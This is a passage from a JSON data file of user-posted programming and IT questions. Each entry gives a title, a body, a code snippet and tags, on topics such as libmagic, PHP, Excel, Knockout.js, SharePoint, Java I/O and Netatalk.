printf(\"unable to initialize magic library\\n\");\n return 1;\n
}\n printf(\"Loading default magic database\\n\");\n if
(magic_load(magic_cookie, NULL) != 0) {\n printf(\"cannot load magic
database - %s\\n\", magic_error(magic_cookie));\n
magic_close(magic_cookie);\n return 1;\n }\n magic_full =
magic_file(magic_cookie, actual_file);\n printf(\"%s\\n\", magic_full);\n
magic_close(magic_cookie);\n return 0;\n\n}\n", "c visual-studio-2010
libmagic"], "4001628": ["Load XML with PHP, pass the XML to browser", "I want to
load XML from an external link using PHP, then pass the XML file to my browser
where I parse it with jQuery.\nI want to load the xml from this
link:\nhttp://api.stlouisfed.org/fred/series/observations?
series_id=GDP&api_key=f59d7e0739a5b0745a987b34993bdea7\nThanks for the help!\n",
"", "php jquery xml ajax simplexml"], "3624317": ["Percent of Hidden Values in
PivotTable? Excel", "I have a Percent of Parent Column field that works fine. But
in the axis of values, I only want one shown to make the table much more compact.
Essentially imagine if you had a table showing the percent of different animal
types in various water bodies. You had Mammals, Fish, Reptiles, etc. I have
several other dimensions involved in the pivot tables, so the Percent of Parent
Column is the one that always gives the correct value.\nHowever, I only want to
display the percentage for Mammals. So I filtered the animal types down to just
mammals. Great, except now the percentage is only a percent of what is shown,
meaning it is always 100%, since there are no other animal types displayed.\nIn
Access there used to be a way to include hidden values when calculating percentages
which is similar to what I need in Excel, but no such option have I been able to
find in Excel. Any suggestions?\n", "", "microsoft-excel microsoft-excel-2010
pivot-table"], "5873570": ["Download and install newer KDE without root access?",
"Without being root, is it possible to download a newer version of KDE and use that
as your window manager for a RealVNC server?\n", "", "linux kde vnc root
vncserver"], "3923077": ["Browsing Java comments in Eclipse in an easy way", "In a
large project I need to review all the code comments and so I'm searching for
something in Eclipse to browse comments in an easy way (Javadoc comments
principally). Is it possible that doesn't exist a view or something else in Eclipse
to do this?\nI am sure it exists so please suggest me the tips :)\nthanks a lot\
nrob\n", "", "java eclipse comments"], "1656230": ["Excel - Counting letters and
numbers separately in a single cell", "I need a way to count numbers and letters
separately within one cell. For example, if a cell contains \"1234567ABC\" I need
to be able to output this as \"7 Numbers\" and \"3 Letters\". I can't think of a
way to use the len() function that would work, and countif only counts the cells
themselves. Any help would be appreciated.\n", "", "excel count cell"], "4479945":
["Matcher Find Infinite Loop", "I'm trying to replace certain words in a long
string. What happens is some words stay the same and some change. The words that
don't change seem to get the stuck in an infinite loop as it keeps trying to do
the same action on words that are meant to stay the same. Below is an example
similar to mine - I couldn't put the exact code that I'm using because it's far
more detailed and would take up too much space I'm afraid.\n\nAny suggestions as to
why this might be happening?\n", "matcher", "java string pattern-matching match"],
"5065934": ["format of a https get request", "format of a https get request\nI was
trying to implement a HTTPS get request.\nThis is my sample HTTP get request.\n\nI
have used SSL library to encrypt the message, but is there anyway to differentiate
a HTTP message and https message with the request?\nRight now I have put a
condition to call the SSL library, but I havent found any example where http
request varies from https request.\nCan anyone guide me here.\n", "GET example.com
HTTP/1.1\nDate: Mon, 22 Feb 1857 12:27:07 GMT\nHost: xyz.com:5901\nUser-Agent:\
nContent-Length: 0\n", "http https"], "4225265": ["phpMyAdmin - autoincrementing
ID", "Quick question regarding phpMyAdmin and autoincrementing. If I add a product
and it is assigned id 1, then I delete it before adding another, the next one is
given the id 2 even though I deleted id 1. I hope this makes sense.\nDoes this
matter?\n", "", "mysql phpmyadmin auto-increment"], "4453706": ["accessing files in
a folder using python", "I have a python script that runs a program, which
generates few .exe files and puts them in a folder. I want to access these exe
files to do further testing, the problem is that this folder name is not static
(it's dynamic? ), the name depends on the OS,compiler,binary type(64/32-bit), so I
can't hard code the directory.\nSo What is the best to access folders like this? ,
I tried looking this up but I haven't got a clue as to how to approach this.\n",
"", "python directory"], "3484897": ["How to display a post attachment in Wordpress
depending on the caption value", "I would like to display automatically a post
attachment (PDF) depending on the language of my blog (french and english).\nWhen
the post is displaying in french version, I would like display the french PDF, and
when the post is displaying in english, the english one.\nI use the qtranslate
pluggin and I though to use the caption of the attachment (\"fr\" or \"en\") to
create a sort of conditional tag. \nI tried the code below but it does'nt work. Do
you have any idea to help me? \nMany thanks in advance,\nDem.\n\n", "<!-- PDF EN --
>\n<?php if(qtrans_getLanguage()=='en'): ?>\n <?php\n if ( $attachments =
get_children( array(\n 'post_type' => 'attachment',\n
'post_mime_type' =>
array('application/doc','application/pdf','application/msword'),\n
'numberposts' => 1,\n 'post_status' => null,\n 'post_parent'
=> $post->ID,\n ))) ;\n foreach ($attachments as $attachment)
{\n if ($attachment->post_excerpt == 'en') {\n echo '<a
href=\"' . wp_get_attachment_url( $attachment->ID ) . '\"><img
src=\"' .get_bloginfo('template_directory') . '/images/pdf.png\" alt=\"Pdf\"
class=\"pdf\" /></a>';\n echo '';\n }\n }\n
?>\n<?php endif; ?>\n<!-- PDF FR -->\n<?php if(qtrans_getLanguage()=='fr'): ?>\n
<?php\n if ( $attachments = get_children( array(\n 'post_type' =>
'attachment',\n 'post_mime_type' =>
array('application/doc','application/pdf','application/msword'),\n
'numberposts' => 1,\n 'post_status' => null,\n 'post_parent'
=> $post->ID,\n ))) ;\n foreach ($attachments as $attachment)
{\n if ($attachment->post_excerpt == 'fr') {\n echo '<a
href=\"' . wp_get_attachment_url( $attachment->ID ) . '\"><img
src=\"' .get_bloginfo('template_directory') . '/images/pdf.png\" alt=\"Pdf\"
class=\"pdf\" /></a>';\n echo '';\n }\n }\n
?>\n<?php endif; ?>\n", "wordpress attachment caption qtranslate"], "5145708":
["Display only certain part of an image and resize it with GD", "I currently have a
script ready that resizes a whole image with GD but I need to get a specific part
of an image to display and resize only that specific part.\nThis is the image: \n\
n\n\nThis is what needs to be displayed, took out the rest with Photoshop: \n\n\n\
nThe final image needs to be 150x150.\nThis is the script i tried:\n\nBut this one
does not pick the correct part of the image. Can anyone help me here?\n",
"<?php\n\n $srcp = imagecreatefrompng(\"enjikaka.png\");\n $destp =
imagecreate(150, 150);\n imagecopyresampled($destp, $srcp, 0, 0, -8, -8, 150,
150, 64, 32);\n header('Content-type: image/png');\n imagepng($destp);\n\n?>\
n", "php image resize gd"], "320305": ["Are there ways of finding the $n$-th
derivative of a function without computing the $(n-1)$-th derivative?", "Say we
have a function $f(x)$ that is infinitely differentiable at some point.\nIs it
possible to find $f^{(n)}(x)$ without having to find first $f^{(n-1)}(x)$? If so,
does it take less effort than computing preceding derivatives (i.e. $f'(x), f''(x),
\\cdots, f^{(n-1)}(x)$)?\nI often find it very tedious to find multiple derivatives
so I was wondering if someone knows the answer to this question.\n", "", "calculus
derivatives"], "5192885": ["Knockout bindings not working as expected for
manipulating observable array", "We have a view using Razor and Knockout.js that
displays a form. Part of the form asks the user to enter a list of values, and
we're using a to keep track of them. This list is represented as a bunch of text
boxes, one per value, with a \"Delete\" button next to each box and a
single \"Add\" button underneath all of them. It works similarly to the demo
project at http://learn.knockoutjs.com/#/?tutorial=collections.\nOur form is acting
unexpectedly in two ways: \n\nWhen a delete button is clicked, it removes all
values from the , not just the one corresponding to what was clicked. \nWhen
the \"Submit\" button for the overall form is clicked, it adds a new element to the
instead of submitting the form to our server.\n\nWhy are we seeing this behavior?
(I know that these are two separate issues, but I'm not sure if they're caused by
the same underlying problem or not, which is why I'm posting them in one
question.)\nHere is our Razor view: \n\nHere is our main piece of Knockout code,
OP.Input.Input.Form.js:\n\nHere is OP.Input.Input.Data.js:\n\n",
"ko.observablearray", "javascript razor knockout.js ko.observablearray"],
"2716626": ["ASP.net MVC Controller Taking a FormCollection AND an Integer", "I
have a simple form, a text box and a command button. I am using a method=\"post\"
to get the value which is entered into the textbox to the controller. The
controller method looks like this: \n\nThis is all fine, but later down the line I
want to be able to use the following: return
RedirectToAction(\"../MyFolder/MyView/\" + MyID); but because my initial view
(Index) worked by passing a form collection, I cannot do the above. How can I make
this possible? any help would be greatly appreciated!\n", "public ActionResult
Index(FormCollection form)\n {\n", "asp.net asp.net-mvc visual-studio-2010
parameters"], "5109364": ["MSBuild: How can I check if a process exists?", "Howdy.\
nIs it possible to write a Condition in msbuild that checks if a certain process
exists?\nOr, alternatively, does anyone know of such a task?\nToday, my process
creates a pid file, which existence I check. But I do not like all the extra
maintenance involved with such a file.\nAny ideas?\n", "", "msbuild"], "3217716":
["global variable is empty within function", "I have this code
http://jsfiddle.net/meridius/ysDGm/ where the problem is with variable in part.
For reasons I can't explain, that variable is empty in that part.\nI think the
problem is with that variable's scope and I tried everything but with no luck.\
nPlease note, the problem is NOT with AJAX, that works fine!\nHere is shortened
version of that Fiddle:\n\n\n", "out.id", "jquery ajax variables global-variables
variable-scope"], "5952344": ["The group of roots of unity in an algebraic number
field", "Is the following proposition true? If yes, how would you prove this?\
nProposition\nLet $K$ be an algebraic number field.\nThe group of roots of unity in
$K$ is finite.\nIn other words, the torsion subgroup of $K^*$ is finite.\
nMotivation\nLet $A$ be the ring of algebraic integers in $K$.\nA root of unity in
$K$ is a unit(i.e. an invertible element of $A$).\nIt is important to determine the
structure of the group of units in $K$ to investigate the arithmetic properties of
$K$.\nRemark\nPerhaps, the following fact can be used in the proof.\nEvery
conjugate of a root of unity in $K$ has absolute value 1,\nRelated question:\nThe
group of roots of unity in the cyclotomic number field of an odd prime order\nIs an
algebraic integer all of whose conjugates have absolute value 1 a root of unity?\
nEdit(Jan. 18, 2013) To the downvoters, why don't you reset your votes? The
question is clearly important in algebraic number theory. I'm saying this not
because I care my reps, but because the negative votes are sending wrong signals to
the users.\n", "", "algebraic-number-theory"], "2729290": ["How to get Current User
in Sharepoint site workflow 2010?", "Am trying to find the current logged user in
sharepoint site workflow 2010 while creating a project. Based on the user, I would
like to retrieve the current user's project manager. Every time am trying to
retrieve current user name, it's giving System Account.\nI even tried logging in as
different user but still displaying System Account as the current user.\nI tried
following options : \n\nBut everything failed. Am sure that am doing something
wrong. I don't know the correct procedure. Some procedures give me null or Object
reference not set to an instance of the object or System Account details. I have
even tried using elevated permission and its giving me null value. \
nSPSecurity.CodeToRunElevated elevatedSubmit = new
SPSecurity.CodeToRunElevated(delegate\n {\n //SPUser user
= SPContext.Current.Web.CurrentUser;\n //string strAssignedTo =
user.Name;\n\n});\n
SPSecurity.RunWithElevatedPrivileges(elevatedSubmit);\nAm I supposed to add users
explicitly as SPUser or any other changes before trying to retrieve current user
via workflow ? \n", "SPUser user = workflowProperties.OriginatorUser;\n\nSPUser
user = SPContext.Current.Web.CurrentUser;\n\n\nSPWeb web = SPContext.Current.Web;\
nSPUser user = web.CurrentUser;\n\n SPContext.Current.Web.CurrentUser.LoginName;\
n", "c# sharepoint2010 workflow"], "4453707": ["How can I display news on movie
page", "I have 6 Post Types for my site\n\nPosts - containing the movies\nPost_Type
- news - containing the news.\nActors - persoane - containing the actors.\n\nHow
can I retrieve the news automated on \"Actor Page\" or \"Movie Page\"?\nEx: \n\n1.)
I have a post(Movie)\n\nAfter Earth - with Actors: Will Smith\n2.) News - I add a
news regarding After Earth Movie ..\nEx:\nTitle: Next Week in cinema After Earth
Movie\nI add a Tag: Will Smith ,After Earth\nThe News Shoud Apear on Movie and
Actor Page. \nI need some help for a solution regarding this, what should I use?
And what is the best solution in my case, I want to use as less queries as
posible.\n", "", "php tags"], "5095912": ["new to lists on python", "This is my
current code:\n\nWhen I run it I get this:\n\nI am not quite sure how to code it so
that, the lists do NOT take in negative values, because I only want values 0 or
greater. \nI am not sure how to solve the TypeError issue so that the min and max
values will print as in my code\nMy last issue is, if I want to find the average
value of the seven inputs that an user puts in, how should I go about this in
pulling the values out of the lists\nThank you so much\n", "while True:\n
try:\n mylist = [0] * 7\n for x in range(7):\n
sales = float(input(\"Sales for day:\"))\n mylist[x] = sales\n
if sales < 0:\n print (\"Sorry,invalid. Try again.\")\n
except:\n print (\"Sorry, invalid. Try again.\")\n else:\n
break\n\nprint (mylist)\n\nbest = max(sales)\nworst = min(sales)\n\nprint (\"Your
best day had\", best, \"in sales.\")\nprint (\"Your worst day had\", worst, \"in
sales.\")\n", "python arrays list input numbers"], "674984": ["Can I use
Silverlight's WriteableBitmap to save non-visible parts of my UI to a bitmap?",
"Say I have some grid that you need to scroll down to see all of its lines, and I'm
interested in saving some lines that are not currently visible as a bitmap. Is it
feasible, or do I have to actually scroll down, \"take a snapshot\", and then
scroll up again?\nThis is a feasibility question, and thus I don't have code to
share.\n", "", "silverlight silverlight-4.0 writeablebitmap"], "4475234": ["How to
set the starting point of range axis in JasperReports BarChart?", "I need to change
the starting point of the origin value in JasperReports Bar chart. For example,
bars should start from 100 instead of 0.\nHere is a sample dataset for this: \n\
nBased on this set, what I need to do is draw the first bar from 100 to 300, second
from 100 to 250, third from 100 to 70 and fourth from 100 to 40. \nIs there a way
to do this specifically with iReport and clearly not using custom templates?\n",
"Name | Value \nItem 1 | 200 \nItem 2 | 150 \nItem 3 | 30 \nItem 4 | 60 \n",
"jasper-reports ireport bar-chart"], "2125696": ["Getting complete history of an
SVN repo that's been renamed using git-svn", "I have an SVN repository which was
renamed from \"Project\" to \"Project v1\".\nI then did a to create a git version
of the renamed SVN folder.\nWhen I the newly created git repository, I only see a
single history item. It's the commit message which I gave the SVN repository when I
renamed the folder.\nIs there a way for the git repository to have all of the SVN
history prior to the folder being renamed (or any other possible renames prior to
that one)?\n", "git svn clone", "git git-svn"], "13981": ["Check if window is on
the current desktop?", "How do I check that a pygtk Window is on the current
desktop?\nA
program I'm fixing has:\n\nI want to replace:\n\nWith:\n\nI can implement with
as:\n\nAnd it works but it's icky. Is there a better way to do this?\n", "if
self.pymp.window.get_property('visible'):\n self.pymp.window.hide()\nelse:\n
self.pymp.window.move(self.pymp.position[0], self.pymp.position[1])\n
self.pymp.window.show()\n self.pymp.window.present()\n", "python pygtk"],
"1798499": ["ld: library not found for -lz", "This is driving me crazy, when i try
to compile on the simulator, everything is ok, but on the device i got this error:\
n\nPlease help me understand the source of the problem:\n\nEDIT:\nI did import the
libz.1.1.3.dylib framework:\n\nThe only libz that i got in the Linked frameworks is
the \n\n", "ld: library not found for -lz\nCommand
/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/clang failed with exit
code 1\n", "objective-c ios xcode4.2"], "2753113": [".profile and .bashrc doesn`t
work on my Mac", "This problem I have for a long time. After running
terminal .profile, and .bashrc file doesn`t work (are not executed). Could you
indicate where should I looking form a source of problem? \n", "", "osx terminal
bash .profile"], "4978879": ["Understanding the given code", "I will appreciate if
anyone assists me in understanding the following piece of code\nthank you\n\n", "if
(iins->uInstr.mnemonic == UD_Ipop)\n regsUsed = (regsUsed & ~(LYNX_ESP |
LYNX_SP));\n", "c x86"], "5262019": ["Problem with creating a new branch from an
existing branch with no tag attached", "I have an existing branch but no tag is
attached to this branch. The source file revision numbers start with 1 for this
branch.\nI created a new branch from above branch with tag
name \"main_global_vars\" using the following CVS command::\ncvs rtag -r 1 -b
main_global_vars sourceroot/src\nWhen I made cvs commit to source files with
tag \"main_global_vars\" in new branch, the changes also get committed in existing
branch(branch with no tag attached) which I did not want.\nPlease let me know what
is the problem and what cvs command is correct to create a branch in this case.\n",
"", "cvs"], "4453700": ["HTML \"picture in picture\"", "I'd like to create a
(preferably) HTML code that would load content from another, small page into the
current website. The content of the small page is to be a set of anchors with
images that change dynamically (thus encoding them into the page where they are to
be displayed would not be practical). Is such a functionality achievable in pure
HTML, or do I need to use javascript? Can someone provide a sample code of how it
would look like?\n", "", "javascript html webpage"], "4983962": ["How to pass a URL
as a parameter to a Spring 3.1 controller", "This is fairly straightforward. I
need to pass a url to my controller from my front end through an AJAX call,
ie \"http://www.x.com/some/path\". Spring controllers interpret portions of the
path as variables, with \"/\" delineating, so this obviously doesn't
work: \"http://myserver.com/myapp/controller/http://www.x.com/some/path\".\nSo my
question is, how can I get that value to my controller?\nEdit: I'm using Dojo 1.8
on my front end.\n", "", "ajax spring url parameters controller"], "3980779": ["How
to POST an image to Twitter by statuses/update_with_media in Lua", "I have problems
building the header and/or body of the http-POST for a Twitter oAuth
update_with_media call in Lua.\n\nI'm using as \nAll parameters are included in
the body, including an .\nPOSTing to url \n\nThe problem is I have no idea how to
successfully add the image data (media[]) to the body, in addition to 'status' and
the other oauth parameters.\nAlso, how do I calculate the ?\nAs of yet, I'm
constantly getting a 500 Internal Server Error back form Twitter.\nCan anyone
provide me with a code snippet to add image data (jpg) to a POST? I'm using the
Corona SDK btw, if that makes any difference.\n", "multipart/form-data", "lua
twitter-api http-post twitter-oauth corona"], "1254818": ["Function Pointer typedef
Error", "i defined my Function pointer with a typedef like\n\nmy Class member
method looks like :\n\nin my main program i wrote a function like :\n\nand want to
run the member function\nso i tried:\n\nthe compiler says:\n\nHope someone could
help me short :) greetz\n", "typedef void (*ThreadFunc)( void *);\n", "c++
multithreading function function-pointers"], "5552248": ["Help finding a Memory
Leak cause", "I have the following Leak situation in a VB.NET (.NET2) application:
a form - (TaskDetails) - in my MDI application is not garbage collected is not
collected ofter open/close.\nI did the following profiling root:\n\nany idea how
this leak could be fixed? thanks.\nEDIT: \nResult search from projet of
WinComboRowSelected Event. There are 3 usages of this word in application:\n\
nDeclaration in Class WinCombo: (only one)\nRaising: (3 raisings)\nUsage:
(multiple handles). \n\nthere is No other usage of this event.\nIf need other code
details, please ask and I will post it.\n", "DetailTache", ".net vb.net
winforms .net-2.0 memory-leaks"], "3940292": ["How to selectively display and not
display column of object in BindingList which is bond to gridcontrol of devexpress
winform\uff1f", "Dear all devexpress winform gurus:)\nMy way is simple. First, i
create a bindinglist:\n\nThen my object called quote will be added to the
BindingList above, the quote have multiple properties and will be displayed on the
grid after binding code below:\n\nThe picture below show how manually remove
column\n\nHow could I disable the displaying of last three property of these
financial quote object without removing these properties?:)\nThanks in advance!\n",
" private BindingList<QuoteOnGrid> quoteOnGrids = new BindingList<QuoteOnGrid>();\
n", "c# winforms devexpress gridcontrol"], "2475214": ["Why is my code doing a Bad
Request bad URI [object%20Object]?", "I am using jquery to fire an ajax request
when check box is changed to alter the boolean attribute 'completed' on resource
'Task'. I have the following code regarding AJAX part, but I get this error > bad
URI `/projects/1/tasks/[object%20Object]'\ntasks.js.coffee\n\ntask/show.html.erb\n\
n", " $('#task_completed').bind 'change', (event) =>\n url = $
('#task_completed').closest('form').attr('action')\n data = {}\n
data.task = {}\n $.post({\n url: url\n data: data\n
success: ->\n $('.task_headline').toggleClass('completed_task')\n })\
n", "jquery ruby-on-rails ajax coffeescript"], "4146948": ["Looking for a smart
sync tool that exactly copies the structure of the source to that of the
destination", "I am a Windows 7 user and looking for a sync tool that exactly
copies the structure of the source to that of the destination.\nThe scenario is as
follows:\n\nI have a laptop in which I save my daily projects. I always bring this
laptop wherever I go to work, either at my school or at my house.\nAt school I have
a room in which I put an external hard drive to backup my laptop data. Upon
arriving at school I always sync the external data with my laptop. Before leaving
the school, I also do the synchronization if I make some modification in my laptop
data.\nI do the same thing when I arrive and leave my house.\nEvery month I
reformat my laptop because of some trial softwares.\n\nI am using SyncToy 2.1 to
sync the external drives with my laptop. The problem is as follows.\nBefore
formatting my laptop, I sync all external drives with my laptop. For example,\nMy
laptop structure:\n\nBoth external drive structure:\n\nAfter reformatting my
laptop, I move the to . So my laptop structure becomes,\n\nIf I sync external
drives with my laptop, I get \n\nI want the tool also remove . How to do this?\n",
"c:\\data\\file1.ext\nc:\\data\\folder1\\file2.ext\n", "sync synctoy"], "4993154":
["What is an easy way to remember the full stop scale?", "If you were teaching
someone new to photography the full stop scales, is there a better way then flat
out memorizing these values? Does anyone have an easy way that they remember the
scale? Would it make more sense as a type of mathematical equation without getting
overly complex?\nAperture Full Stops:\n\nShutter Full Stops:\n\nObviously the
shutter stop scale is very easy to remember, but how can I use the square root to
determine the aperture easily in my head?\n", "1, 1.4, 2, 2.8, 4, 5.6, 8, 11, 16,
22, 32, 45, 64\n", "aperture learning f-stop shutter"], "611847": ["How to make
Oracle Data Integrator ETL process monitor in OBI", "I have some ETL processes in
ODI 11, so I need to make a report in BI about these processes, I need to export
the following information from ODI (into BI):\n\nDate of data loading \nName of
report (e.g. rep1, rep2, rep3) = name of interface in ODI\nTime of loading \nResult
- OK/ERROR\n\nHow can I make this?\n", "", "oracle plsql etl business-intelligence
data-integration"], "4976617": ["Outlook login/windows security pops up every
time", "Every time I start Outlook 2010 , it pops up this dialog:\n\nHow to get rid
of this dialog ? - \"Remember my credentials\" is checked, but it doesn't ...
remember.\n", "", "windows-7 outlook outlook-2010"], "669158": ["How can I get top
visited pages of a site?", "I need to get most visited pages of a site.Like top 20
pages of example.com.\nIs there any api or something else to achieve it? \n", "",
"api curl website crawl"], "3463610": ["Android app + webserver API using Federated
login or OpenID (WITHOUT GAE)", "I have an Android app that needs to upload data to
an API (API will then save data in MySQL DB). I would like to use a Federated login
(Google) or OpenID authentication procedure so that user does not need to register
email + password for my app, but rather can use Google (or other account) that is
saved in .\nUp until early this year, the solution was using GAE, as per Nick
Johnson's
famous recipe. But since Google started charging for the use of GAE, this is not
a viable solution anymore. PLEASE DO NOT RECOMMEND USE OF GAE.\nHas anyone ever
managed to solve the problem of authenticating with Federated Login OR OpenID and
then getting authorization on a third-party (your) webserver API?\nNOTE: OAuth
would be a straightforward solution for authorization except that it would rely on
interacting (in a trusted manner) with a previously authenticated consumer, which
is not the case when you authenticate the app user (on the mobile) using FedLogin
or OpenID. OAuth works if my app (mobile + webserver) authenticates user (and I
store login + password \u2014 which is EXACTLY what I am trying to avoid), but not
if Google (or FB) do this for you.\n", "AccountManager", "android api oauth openid
federated-identity"], "86248": ["iPlanet Authentication provider", "Good day. I
have stepped into project that requires a server migration that would change the
means of authentication for our CAC/PKI SSL enabled website. We are using iPlanet
7 and Oracle Directory Server Enterprise 7 as our LDAP server.\nThe situation is
that the site is still CAC/PKI enabled, but at the firewall. The information we
want to authenticate against is now in the http header.\nHow do I configure iPlanet
and LDAP to authenticate against the header instead of SSL? Thanks.\nEdit, Can this
be done with IIS keeping the Directory Server EE LDAP in tact or is the ACL iPlanet
only?\n", "", "iis ldap oracle coldfusion pki"], "1215930": ["Random Image
Displaying in Facebook Wall Post from iPhone App", "I have a gaming iPhone app that
posts a user's score to their Facebook page when they initiate it. The SDK is all
set up and works great. The problem is this random image is displaying within the
post module on a user's wall:\nTake a look (circled is the random
image):\nhttp://postimage.org/image/knlsik6nh/\nThis is the image
path:\nhttps://www.facebook.com/app_full_proxy.php?
app=REMOVED&v=1&size=z&cksum=REMOVED&src=https%3A%2F%2F2.zoppoz.workers.dev%3A443%2Fhttp%2Fr.mzstatic.com%2Fimages
%2Fhtmlcorners%2Ftl.jpg\nAny ideas how to change that image, or why that image is
appearing? Any info is appreciated.\n", "", "iphone xcode facebook facebook-c#-sdk
facebook-login"], "5052791": ["How get current segment in dos", "I am trying to get
cs (current segment) register value by using c language. I tried it bay assembler
by this code: but my project did not recognise __asm__. May be there is other way
to this? Please help. \n", "__asm__(\"movw %%eax, %%ecs;\" : \"=r\"
( cur_seg ));", "c dos"], "3984882": ["Java two-dimensional array of chars", "I
need to write a java program that has an array-returning method that takes a two-
dimensional array of chars as a parameter and returns a single-dimensional array of
Strings.\nHere's what I have\n\n", "import java.util.Scanner;\npublic class
TwoDimArray {\n\n public static void main(String[] args) {\n Scanner s =
new Scanner(System.in);\n System.out.println(\"Enter the number of
Rows?\");\n int rows = s.nextInt();\n System.out.println(\"Enter the
number of Colums?\");\n int cols = s.nextInt();\n int [][] array =
new int [rows] [cols];\n }\n\n public static char[ ] toCharArray(String
token) {\n char[ ] NowString = new char[token.length( )];\n for (int
i = 0; i < token.length( ); i++) {\n NowString[i] = token.charAt(i);\n
}\n return NowString;\n }\n}\n", "java arrays string methods char"],
"2776648": ["I can't move files from one folder to another on a netatalk share",
"I'm running netatalk v. 2.1.2 on Debian Squeeze. The clients are Mac OS X 10.7
boxes. I have no problems copying files to and from the server, deleting files,
creating new files or folders.\nEverything seems to work perfectly except I can't
copy from one folder on the share to another folder on the same share. OSX reports
errorcode -50. Netatalk doesn't log the error anywhere I can see.\npermissions are
set correctly. All users belong to the storageusers group and the sticky bit for
the group is on the directory forcing all files and folders to belong to the
storageusers group. Permissions are 777 on the files in question in an effort to
get rid of the error.\nafpd.conf\n\nAppleVolumes.default\n\nAm I missing something
or is there a way to log the errors through netatalk?\n", "- -transall --uamlist
uams_randnum.so,uams_dhx.so,uams_dhx2.so -nosavepassword -advertiser_ssh\n",
"debian network-share apple afp netatalk"], "23995": ["Place text between sidebar
Wordpress widgets", "Where can I the code to add \"OR\" between two of my WP
sidebar widgets? I understand I could easily add a text widget and place the
word \"OR\" in there. However, when I do that, my CSS styling for sidebar widgets
has a background-color and a border. I do not want \"OR\" to have the same
styling. Basically I just want text between the two widgets I have on my site. \
nCan we place the \"OR\" only once, just incase more widgets get added?\nThanks in
advance!\n", "", "php css wordpress widget"], "4051032": ["Fine-tuning
dimensions/whitespace parameters", "I often find I need to adjust whitespace
lengths in my own code. Just as an illustration, I'm in the middle of trying to
insert an appropriate amount of space before the 'v's in this, to make them look
'centred'. \n\n(I won't give the source code unless it's specifically requested, as
I don't think it's relevant to this very general question.) My normal method is to
adjust-compile-adjust-compile-adjust-compile-etc., until things look right. This
can take a long time! \nIt occurred to me that a better method might be to produce
a PDF with one copy of the relevant MWE per page, each with a different length
used. Again, a picture should make this clearer than the text:\n\nOf course, if you
are creating this thing manually each time you need to tune a length, it is clearly
not worth it. Are there any packages that would make it easy to do this?\n(For what
it's worth, this question is inspired by the AvsP editor for the video scripting
language AviSynth; that sped up many workflows by an order of magnitude by letting
you adjust parameters using sliders, rather than editing values in the script. I
thought sliders were a little too much to ask for here, so this question is based
on an older AviSynth technique of \"animating\" parameters by giving a parameter a
slightly different value in each video frame.)\n", "", "spacing typography
parameters"], "3966884": ["NoSuchElementException When writng to file", "I am
writing a program that read string and integers from file, then copy the data and
write to another file. Data entries should be separated by a space.\nMy input
should and output should follow the following format, the first two set of numbers
are string while the others are integers:\n123123 242323 09 08 06 44\nI get
Exception in thread \"main\" java.util.NoSuchElementException when I run my code, I
do not know why\n\n", "import java.util.Scanner;\nimport java.io.*;\n\npublic class
Billing {\n\n\n\n public static void main(String[] args) throws IOException {\
n\n //define the variables\n\n\n String callingnumber;\n
String callednumber;\n String line;\n int startinghour;\n int
startingminute;\n int endinghour;\n int endingminute;\n\n\
n //open input and output files\n FileReader freader = new
FileReader(\"BillingData.txt\");\n BufferedReader inFile = new
BufferedReader(freader);\n\n\n FileWriter fwriter = new
FileWriter(\"BillingOutput.txt\");\n PrintWriter outFile = new PrintWriter
(fwriter);\n\n // set space between the numbers\n
line=inFile.readLine();\n while(line!=null)\n {\n
//creat a scanner to use space between the numbers\n Scanner space =
new Scanner(line).useDelimiter(\" \");\n\n\n
callingnumber=space.next();\n callednumber=space.next();\n
startinghour=space.nextInt();\n startingminute=space.nextInt();\n
endinghour=space.nextInt();\n endingminute=space.nextInt();\n\n\n\n
// writing data to file\n outFile.printf(\"%s %s %d %d %d %d\",
callingnumber, callednumber,startinghour, startingminute, endinghour,
endingminute);\n\n line=inFile.readLine();\n\n\n\n }//end
while\n\n //close the files\n inFile.close();\n
outFile.close();\n\n\n }//end of mine\n\n\n}//end of class\n", "java exception
file-io exception-handling textinput"], "5037207": ["Short int - how to save to the
file", "I have unsigned short int (from 0 to 65535) and I must save it to the file,
using stdio and consuming 2 bytes, but I don't know, how.\nAny suggestions?\n", "",
"c++ int unsigned stdio"], "4804595": ["XML Serialization woes in Mono", "Here's my
class:\n\nsnipped\nI'm returning an array of them from a Mono web service, like
this:\n\nBut what I get is this:\n\nWhy are the members not getting serialized?\n",
"[Serializable()]\n [XmlRootAttribute(\"Language\")]\n public class
Language : ISerializable\n {\n string Id {\n get;\n set;\n }\n
string Part2B {\n get;\n set;\n }\n string Part2T {\n get;\n
set;\n }\n string Part1 {\n get;\n set;\n }\n string
Scope {\n get;\n set;\n }\n string LanguageType {\n get;\n
set;\n }\n string RefName {\n get;\n set;\n }\n string
Comment {\n get;\n set;\n }\n", "c# mono xml-serialization"],
"5136282": ["How to combine a photo and sound file to an video file which is
acceptiable on youtube?", "I'd like to combine a photo and some sound file together
and upload to youtube, not sure how to do it.\nAny suggestion will be
greatly helpful.\nThanks.\n", "", "video audio youtube"], "2812063": ["Sharepoint
authentication", "This has me beat...\nwe have microsoft dynamics with a sharepoint
business portal interface using sharepoint services 3.0. im trying to configure
the sharepoint interface to accept basic auth, so that reverse proxying works. ive
found a couple of places that need changes, both in sharepoint and IIS, but
whenever i switch it over, certain pieces of business portal start to error out -
things like the project communicator and expense reports section. basically, it
looks like anything that appears in an IFRAME doesnt work.\nwhile we dont use these
pieces yet, we will, so this is basically a showstopper for me.\nso far ive tried:\
njust changing IIS from integrated to basic\nchanging IIS and the sharepoint config
for the site to basic\nconfiguring the reverse proxy to present authentication the
way that IIS expects with integrated auth enabled (ie <domain>\\<user>)\n\nim
hesitant to try bringing up another duplicate site (a best practice i read in a
sharepoint book) to support both integrated and basic, but i dont fully understand
how sharepoint works, and im loathe to break it again. additionally, since i cant
make the one we have work the way i want, im skeptical ill be able to do so for an
additional site.\nanyone have any magic that might help me out of this?\nedited to
include the error below:\nError:\nConnector:Unspecified HTTP error.
HRESULT=0x800A1518 - Client:An unanticipated error occurred during the processing
of this request. HRESULT=0x800A1518 - Client:Sending the Soap message failed or no
recognizable response was received HRESULT=0x800A1518 - Client:Unspecified client
error. HRESULT=0x800A1518\nfaultcode=Client\nfaultstring=Connector:Unspecified HTTP
